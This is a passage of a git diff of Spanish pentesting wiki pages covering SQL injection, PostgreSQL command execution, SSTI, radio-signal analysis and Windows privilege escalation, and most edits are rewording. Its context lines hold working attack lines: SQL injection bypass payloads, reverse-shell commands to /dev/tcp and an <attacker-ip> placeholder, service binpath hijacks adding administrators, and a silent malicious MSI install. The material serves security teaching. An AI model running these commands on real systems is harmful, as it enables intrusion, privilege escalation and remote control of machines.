-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
O usando un **comma bypass**:
|
||||
O usando un **bypass de coma**:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
@ -460,7 +465,9 @@ Este truco fue tomado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-
|
||||
|
||||
### Herramientas sugeridoras de bypass de WAF
|
||||
|
||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
|
||||
## Otras Guías
|
||||
|
||||
@ -469,7 +476,9 @@ Este truco fue tomado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-
|
||||
|
||||
## Lista de Detección de Fuerza Bruta
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -121,7 +121,9 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
```
|
||||
Puedes encontrar esta **biblioteca precompilada** para varias versiones diferentes de PostgreSQL e incluso puedes **automatizar este proceso** (si tienes acceso a PostgreSQL) con:
|
||||
|
||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||
{{#ref}}
|
||||
https://github.com/Dionach/pgexec
|
||||
{{#endref}}
|
||||
|
||||
### RCE en Windows
|
||||
|
||||
@ -164,7 +166,9 @@ PG_RETURN_VOID();
|
||||
```
|
||||
Puedes encontrar el DLL compilado en este zip:
|
||||
|
||||
{% file src="../../../images/pgsql_exec.zip" %}
|
||||
{{#file}}
|
||||
pgsql_exec.zip
|
||||
{{#endfile}}
|
||||
|
||||
Puedes indicar a este DLL **qué binario ejecutar** y el número de veces que ejecutarlo, en este ejemplo ejecutará `calc.exe` 2 veces:
|
||||
```bash
|
||||
@ -277,7 +281,7 @@ Una vez que hayas subido la extensión (con el nombre de poc.dll para este ejemp
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Tenga en cuenta que no necesita agregar la extensión `.dll` ya que la función de creación la añadirá._
|
||||
_Tenga en cuenta que no necesita agregar la extensión `.dll`, ya que la función de creación la añadirá._
|
||||
|
||||
Para más información **lea la** [**publicación original aquí**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
En esa publicación **este fue el** [**código utilizado para generar la extensión de postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender cómo compilar una extensión de postgres, lea cualquiera de las versiones anteriores_).\
|
||||
|
@ -1,9 +1,8 @@
|
||||
# SSTI (Server Side Template Injection)
|
||||
# SSTI (Inyección de Plantillas del Lado del Servidor)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## ¿Qué es SSTI (Server-Side Template Injection)?
|
||||
## ¿Qué es SSTI (Inyección de Plantillas del Lado del Servidor)?
|
||||
|
||||
La inyección de plantillas del lado del servidor es una vulnerabilidad que ocurre cuando un atacante puede inyectar código malicioso en una plantilla que se ejecuta en el servidor. Esta vulnerabilidad se puede encontrar en varias tecnologías, incluyendo Jinja.
|
||||
|
||||
@ -28,7 +27,7 @@ Para detectar la Inyección de Plantillas del Lado del Servidor (SSTI), inicialm
|
||||
- Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
|
||||
- Ausencia del payload en la reflexión, o partes de él faltantes, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
|
||||
- **Contexto de Texto Plano**: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
|
||||
- **Contexto de Código**: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiando `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
|
||||
- **Contexto de Código**: Confirmar la vulnerabilidad alterando parámetros de entrada. Por ejemplo, cambiando `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
|
||||
|
||||
#### Fase de Identificación
|
||||
|
||||
@ -387,7 +386,7 @@ el-expression-language.md
|
||||
|
||||
### Groovy (Java)
|
||||
|
||||
Las siguientes omisiones del Security Manager fueron tomadas de este [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
Las siguientes omisiones del Security Manager se tomaron de este [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
|
||||
- Más información en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
### Smarty (PHP)
|
||||
@ -672,7 +669,7 @@ URLencoded:
|
||||
| **Plantilla** | **Descripción** |
|
||||
| -------------- | --------------------------------------- |
|
||||
| | Evaluar y renderizar salida |
|
||||
| | Evaluar y renderizar salida HTML codificada |
|
||||
| | Evaluar y renderizar salida codificada en HTML |
|
||||
| | Comentario |
|
||||
| y | Permitir código (deshabilitado por defecto) |
|
||||
|
||||
@ -896,7 +893,7 @@ ${x}
|
||||
|
||||
<figure><img src="../../images/image (3) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
- Más información en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
- Más info en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
@ -979,7 +976,9 @@ Consulta el resto de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/m
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
## Ayuda Relacionada
|
||||
|
||||
@ -997,7 +996,9 @@ Si crees que podría ser útil, lee:
|
||||
|
||||
## Lista de Detección de Fuerza Bruta
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
## Práctica y Referencias
|
||||
|
||||
|
@ -51,26 +51,28 @@ Con [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sincroniza con el c
|
||||
### Descubriendo el tipo de modulación con IQ
|
||||
|
||||
Hay 3 formas de almacenar información en señales: Modulando la **amplitud**, **frecuencia** o **fase**.\
|
||||
Si estás revisando una señal, hay diferentes formas de intentar averiguar qué se está utilizando para almacenar información (encuentra más formas a continuación), pero una buena es revisar el gráfico IQ.
|
||||
Si estás revisando una señal, hay diferentes maneras de intentar averiguar qué se está utilizando para almacenar información (encuentra más formas a continuación), pero una buena es revisar el gráfico IQ.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Detectando AM**: Si en el gráfico IQ aparecen, por ejemplo, **2 círculos** (probablemente uno en 0 y otro en una amplitud diferente), podría significar que esta es una señal AM. Esto se debe a que en el gráfico IQ la distancia entre el 0 y el círculo es la amplitud de la señal, por lo que es fácil visualizar diferentes amplitudes que se están utilizando.
|
||||
- **Detectando PM**: Al igual que en la imagen anterior, si encuentras pequeños círculos no relacionados entre sí, probablemente significa que se está utilizando una modulación de fase. Esto se debe a que en el gráfico IQ, el ángulo entre el punto y el 0,0 es la fase de la señal, lo que significa que se están utilizando 4 fases diferentes.
|
||||
- Ten en cuenta que si la información está oculta en el hecho de que se cambia una fase y no en la fase misma, no verás diferentes fases claramente diferenciadas.
|
||||
- Ten en cuenta que si la información está oculta en el hecho de que se cambia una fase y no en la fase misma, no verás fases diferentes claramente diferenciadas.
|
||||
- **Detectando FM**: IQ no tiene un campo para identificar frecuencias (la distancia al centro es amplitud y el ángulo es fase).\
|
||||
Por lo tanto, para identificar FM, deberías **ver básicamente un círculo** en este gráfico.\
|
||||
Además, una frecuencia diferente es "representada" por el gráfico IQ mediante una **aceleración de velocidad a través del círculo** (así que en SysDigger, al seleccionar la señal, el gráfico IQ se llena; si encuentras una aceleración o cambio de dirección en el círculo creado, podría significar que esto es FM):
|
||||
|
||||
## Ejemplo de AM
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Descubriendo AM
|
||||
|
||||
#### Revisando la envoltura
|
||||
|
||||
Revisando la información AM con [**SigDigger** ](https://github.com/BatchDrake/SigDigger)y solo mirando la **envoltura**, puedes ver diferentes niveles de amplitud claros. La señal utilizada está enviando pulsos con información en AM, así es como se ve un pulso:
|
||||
Revisando la información AM con [**SigDigger** ](https://github.com/BatchDrake/SigDigger) y solo mirando la **envoltura**, puedes ver diferentes niveles de amplitud claros. La señal utilizada está enviando pulsos con información en AM, así es como se ve un pulso:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -88,7 +90,7 @@ Por ejemplo, si seleccionas Frecuencia en lugar de Amplitud en esta señal AM, s
|
||||
|
||||
.png>)
|
||||
|
||||
Si encuentras muchas frecuencias, potencialmente esto no será un FM, probablemente la frecuencia de la señal fue solo modificada debido al canal.
|
||||
Si encuentras muchas frecuencias, potencialmente esto no será un FM, probablemente la frecuencia de la señal solo se modificó debido al canal.
|
||||
|
||||
#### Con IQ
|
||||
|
||||
@ -131,17 +133,19 @@ Ahora, para hacer que SigDigger entienda **dónde está el rango** del nivel que
|
||||
|
||||
Si hubiera habido, por ejemplo, **4 niveles diferentes de amplitud**, deberías haber configurado los **Bits por símbolo a 2** y seleccionar desde el más pequeño hasta el más grande.
|
||||
|
||||
Finalmente, **aumentando** el **Zoom** y **cambiando el tamaño de la fila**, puedes ver los bits (y puedes seleccionar todo y copiar para obtener todos los bits):
|
||||
Finalmente, **aumentando** el **Zoom** y **cambiando el tamaño de fila**, puedes ver los bits (y puedes seleccionar todo y copiar para obtener todos los bits):
|
||||
|
||||
.png>)
|
||||
|
||||
Si la señal tiene más de 1 bit por símbolo (por ejemplo, 2), SigDigger **no tiene forma de saber qué símbolo es** 00, 01, 10, 11, así que usará diferentes **escalas de grises** para representar cada uno (y si copias los bits, usará **números del 0 al 3**, necesitarás tratarlos).
|
||||
|
||||
Además, usa **codificaciones** como **Manchester**, y **up+down** puede ser **1 o 0** y un down+up puede ser un 1 o 0. En esos casos necesitas **tratar los ups obtenidos (1) y downs (0)** para sustituir los pares de 01 o 10 como 0s o 1s.
|
||||
Además, usa **codificaciones** como **Manchester**, y **up+down** puede ser **1 o 0** y un down+up puede ser un 1 o 0. En esos casos necesitas **tratar los ups (1) y downs (0) obtenidos** para sustituir los pares de 01 o 10 como 0s o 1s.
|
||||
|
||||
## Ejemplo de FM
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Descubriendo FM
|
||||
|
||||
@ -151,7 +155,7 @@ Ejemplo de señal enviando información modulada en FM:
|
||||
|
||||
.png>)
|
||||
|
||||
En la imagen anterior puedes observar bastante bien que **se utilizan 2 frecuencias**, pero si **observas** la **forma de onda**, puede que **no seas capaz de identificar correctamente las 2 frecuencias diferentes**:
|
||||
En la imagen anterior puedes observar bastante bien que **se utilizan 2 frecuencias**, pero si **observas** la **forma de onda** podrías **no ser capaz de identificar correctamente las 2 frecuencias diferentes**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -175,7 +179,7 @@ En este caso, si revisas el **histograma de Amplitud**, encontrarás **solo una
|
||||
|
||||
.png>)
|
||||
|
||||
Y este sería el histograma de fase (lo que deja muy claro que la señal no está modulada en fase):
|
||||
Y este sería el histograma de fase (que deja muy claro que la señal no está modulada en fase):
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||||
```
|
||||
### Archivos de transcripción de PowerShell
|
||||
|
||||
Puedes aprender cómo activar esto en [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
Puedes aprender cómo activarlo en [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
```bash
|
||||
#Check is enable in the registry
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||||
@ -112,7 +112,7 @@ Stop-Transcript
|
||||
```
|
||||
### PowerShell Module Logging
|
||||
|
||||
Los detalles de las ejecuciones de la tubería de PowerShell se registran, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de la ejecución y los resultados de salida pueden no ser capturados.
|
||||
Los detalles de las ejecuciones de la tubería de PowerShell se registran, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de ejecución y los resultados de salida pueden no ser capturados.
|
||||
|
||||
Para habilitar esto, sigue las instrucciones en la sección "Transcript files" de la documentación, eligiendo **"Module Logging"** en lugar de **"Powershell Transcription"**.
|
||||
```bash
|
||||
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Se captura un registro completo de la actividad y el contenido total de la ejecución del script, asegurando que cada bloque de código esté documentado a medida que se ejecuta. Este proceso preserva un rastro de auditoría integral de cada actividad, valioso para la forensía y el análisis de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se proporcionan detalles sobre el proceso.
|
||||
Se captura un registro completo de la actividad y el contenido total de la ejecución del script, asegurando que cada bloque de código esté documentado a medida que se ejecuta. Este proceso preserva un rastro de auditoría integral de cada actividad, valioso para la forensía y el análisis de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se proporcionan información detallada sobre el proceso.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
@ -171,7 +171,9 @@ Para explotar estas vulnerabilidades, puedes usar herramientas como: [Wsuxploit]
|
||||
|
||||
Lee la investigación aquí:
|
||||
|
||||
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
|
||||
{{#file}}
|
||||
CTX_WSUSpect_White_Paper (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
**WSUS CVE-2020-1013**
|
||||
|
||||
@ -182,11 +184,11 @@ Básicamente, este es el defecto que explota este error:
|
||||
>
|
||||
> Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también utilizará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza-en-el-primer-uso en el certificado. Si el certificado presentado es confiable por el usuario y tiene el nombre de host correcto, será aceptado por el servicio.
|
||||
|
||||
Puedes explotar esta vulnerabilidad usando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada).
|
||||
Puedes explotar esta vulnerabilidad utilizando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
Una **vulnerabilidad de escalada de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**.
|
||||
Una vulnerabilidad de **escalada de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**.
|
||||
|
||||
Encuentra el **exploit en** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
@ -241,11 +243,11 @@ create-msi-with-wix.md
|
||||
- Haz doble clic en **Carpeta de Aplicación**, selecciona tu archivo **beacon.exe** y haz clic en **Aceptar**. Esto asegurará que el payload beacon se ejecute tan pronto como se ejecute el instalador.
|
||||
- En las **Propiedades de Acción Personalizada**, cambia **Run64Bit** a **True**.
|
||||
- Finalmente, **compílalo**.
|
||||
- Si aparece la advertencia `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, asegúrate de haber configurado la plataforma a x64.
|
||||
- Si aparece la advertencia `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, asegúrate de establecer la plataforma en x64.
|
||||
|
||||
### Instalación de MSI
|
||||
|
||||
Para ejecutar la **instalación** del archivo `.msi` malicioso en **segundo plano:**
|
||||
Para ejecutar la **instalación** del archivo malicioso `.msi` en **segundo plano:**
|
||||
```
|
||||
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||
```
|
||||
@ -289,7 +291,7 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
```
|
||||
### Credentials Guard
|
||||
|
||||
**Credential Guard** se introdujo en **Windows 10**. Su propósito es proteger las credenciales almacenadas en un dispositivo contra amenazas como los ataques pass-the-hash.| [**Más información sobre Credentials Guard aquí.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
**Credential Guard** se introdujo en **Windows 10**. Su propósito es proteger las credenciales almacenadas en un dispositivo contra amenazas como los ataques de pass-the-hash.| [**Más información sobre Credentials Guard aquí.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
```bash
|
||||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
@ -329,7 +331,7 @@ Si **perteneces a algún grupo privilegiado, es posible que puedas escalar privi
|
||||
|
||||
### Manipulación de tokens
|
||||
|
||||
**Aprende más** sobre qué es un **token** en esta página: [**Tokens de Windows**](../authentication-credentials-uac-and-efs/#access-tokens).\
|
||||
**Aprende más** sobre qué es un **token** en esta página: [**Tokens de Windows**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
|
||||
Consulta la siguiente página para **aprender sobre tokens interesantes** y cómo abusar de ellos:
|
||||
|
||||
{{#ref}}
|
||||
@ -359,7 +361,7 @@ powershell -command "Get-Clipboard"
|
||||
### Permisos de Archivos y Carpetas
|
||||
|
||||
Primero que nada, listar los procesos **verifica si hay contraseñas dentro de la línea de comando del proceso**.\
|
||||
Verifica si puedes **sobrescribir algún binario en ejecución** o si tienes permisos de escritura en la carpeta del binario para explotar posibles [**ataques de DLL Hijacking**](dll-hijacking/):
|
||||
Verifica si puedes **sobrescribir algún binario en ejecución** o si tienes permisos de escritura en la carpeta del binario para explotar posibles [**ataques de DLL Hijacking**](dll-hijacking/index.html):
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
@ -381,7 +383,7 @@ icacls "%%z"
|
||||
)
|
||||
)
|
||||
```
|
||||
**Verificando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/)**)**
|
||||
**Comprobando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||
@ -420,7 +422,7 @@ Se recomienda tener el binario **accesschk** de _Sysinternals_ para verificar el
|
||||
```bash
|
||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||||
```
|
||||
Se recomienda verificar si "Usuarios autenticados" pueden modificar algún servicio:
|
||||
Se recomienda verificar si "Authenticated Users" puede modificar algún servicio:
|
||||
```bash
|
||||
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||||
accesschk.exe -uwcqv %USERNAME% * /accepteula
|
||||
@ -434,7 +436,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
Si tienes este error (por ejemplo con SSDPSRV):
|
||||
|
||||
_Error del sistema 1058 ha ocurrido._\
|
||||
&#xNAN;_Tel servicio no se puede iniciar, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados con él._
|
||||
&#xNAN;_Tel servicio no se puede iniciar, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados a él._
|
||||
|
||||
Puedes habilitarlo usando
|
||||
```bash
|
||||
@ -443,13 +445,13 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
||||
```
|
||||
**Tenga en cuenta que el servicio upnphost depende de SSDPSRV para funcionar (para XP SP1)**
|
||||
|
||||
**Otra solución alternativa** a este problema es ejecutar:
|
||||
**Otra solución alternativa** de este problema es ejecutar:
|
||||
```
|
||||
sc.exe config usosvc start= auto
|
||||
```
|
||||
### **Modificar la ruta del binario del servicio**
|
||||
|
||||
En el escenario donde el grupo "Usuarios autenticados" posee **SERVICE_ALL_ACCESS** sobre un servicio, es posible modificar el binario ejecutable del servicio. Para modificar y ejecutar **sc**:
|
||||
En el escenario donde el grupo de "Usuarios autenticados" posee **SERVICE_ALL_ACCESS** sobre un servicio, es posible modificar el binario ejecutable del servicio. Para modificar y ejecutar **sc**:
|
||||
```bash
|
||||
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
|
||||
sc config <Service_Name> binpath= "net localgroup administrators username /add"
|
||||
@ -474,7 +476,7 @@ Para la detección y explotación de esta vulnerabilidad, se puede utilizar el _
|
||||
|
||||
### Permisos débiles de los binarios de servicios
|
||||
|
||||
**Verifica si puedes modificar el binario que es ejecutado por un servicio** o si tienes **permisos de escritura en la carpeta** donde se encuentra el binario ([**DLL Hijacking**](dll-hijacking/))**.**\
|
||||
**Verifica si puedes modificar el binario que es ejecutado por un servicio** o si tienes **permisos de escritura en la carpeta** donde se encuentra el binario ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||||
Puedes obtener cada binario que es ejecutado por un servicio usando **wmic** (no en system32) y verificar tus permisos usando **icacls**:
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
@ -555,7 +557,7 @@ Windows permite a los usuarios especificar acciones a tomar si un servicio falla
|
||||
|
||||
### Aplicaciones Instaladas
|
||||
|
||||
Verifica **los permisos de los binarios** (quizás puedas sobrescribir uno y escalar privilegios) y de las **carpetas** ([DLL Hijacking](dll-hijacking/)).
|
||||
Verifica **los permisos de los binarios** (quizás puedas sobrescribir uno y escalar privilegios) y de las **carpetas** ([DLL Hijacking](dll-hijacking/index.html)).
|
||||
```bash
|
||||
dir /a "C:\Program Files"
|
||||
dir /a "C:\Program Files (x86)"
|
||||
@ -673,7 +675,7 @@ C:\Windows\System32\wsl.exe
|
||||
```
|
||||
El binario `bash.exe` también se puede encontrar en `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
|
||||
|
||||
Si obtienes el usuario root, puedes escuchar en cualquier puerto (la primera vez que uses `nc.exe` para escuchar en un puerto, te preguntará a través de la GUI si `nc` debe ser permitido por el firewall).
|
||||
Si obtienes el usuario root, puedes escuchar en cualquier puerto (la primera vez que uses `nc.exe` para escuchar en un puerto, te preguntará a través de la GUI si se debe permitir `nc` por el firewall).
|
||||
```bash
|
||||
wsl whoami
|
||||
./ubuntun1604.exe config --default-user root
|
||||
@ -700,7 +702,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
||||
```
|
||||
### Administrador de credenciales / Bóveda de Windows
|
||||
|
||||
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||
Desde [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||
La Bóveda de Windows almacena credenciales de usuario para servidores, sitios web y otros programas que **Windows** puede **iniciar sesión en los usuarios automáticamente**. A primera vista, esto podría parecer que ahora los usuarios pueden almacenar sus credenciales de Facebook, credenciales de Twitter, credenciales de Gmail, etc., para que inicien sesión automáticamente a través de los navegadores. Pero no es así.
|
||||
|
||||
La Bóveda de Windows almacena credenciales que Windows puede usar para iniciar sesión en los usuarios automáticamente, lo que significa que cualquier **aplicación de Windows que necesite credenciales para acceder a un recurso** (servidor o un sitio web) **puede hacer uso de este Administrador de Credenciales** y la Bóveda de Windows y usar las credenciales proporcionadas en lugar de que los usuarios ingresen el nombre de usuario y la contraseña todo el tiempo.
|
||||
@ -723,15 +725,15 @@ Usando `runas` con un conjunto de credenciales proporcionado.
|
||||
```bash
|
||||
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
|
||||
```
|
||||
Tenga en cuenta que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o del [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
|
||||
Note que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o del [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
|
||||
|
||||
### DPAPI
|
||||
|
||||
La **Interfaz de Programación de Aplicaciones de Protección de Datos (DPAPI)** proporciona un método para la encriptación simétrica de datos, utilizado predominantemente dentro del sistema operativo Windows para la encriptación simétrica de claves privadas asimétricas. Esta encriptación aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía.
|
||||
La **API de Protección de Datos (DPAPI)** proporciona un método para la encriptación simétrica de datos, utilizado predominantemente dentro del sistema operativo Windows para la encriptación simétrica de claves privadas asimétricas. Esta encriptación aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía.
|
||||
|
||||
**DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran la encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema.
|
||||
|
||||
Las claves RSA de usuario encriptadas, mediante DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell).
|
||||
Las claves RSA de usuario encriptadas, mediante DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, co-localizada con la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell).
|
||||
```powershell
|
||||
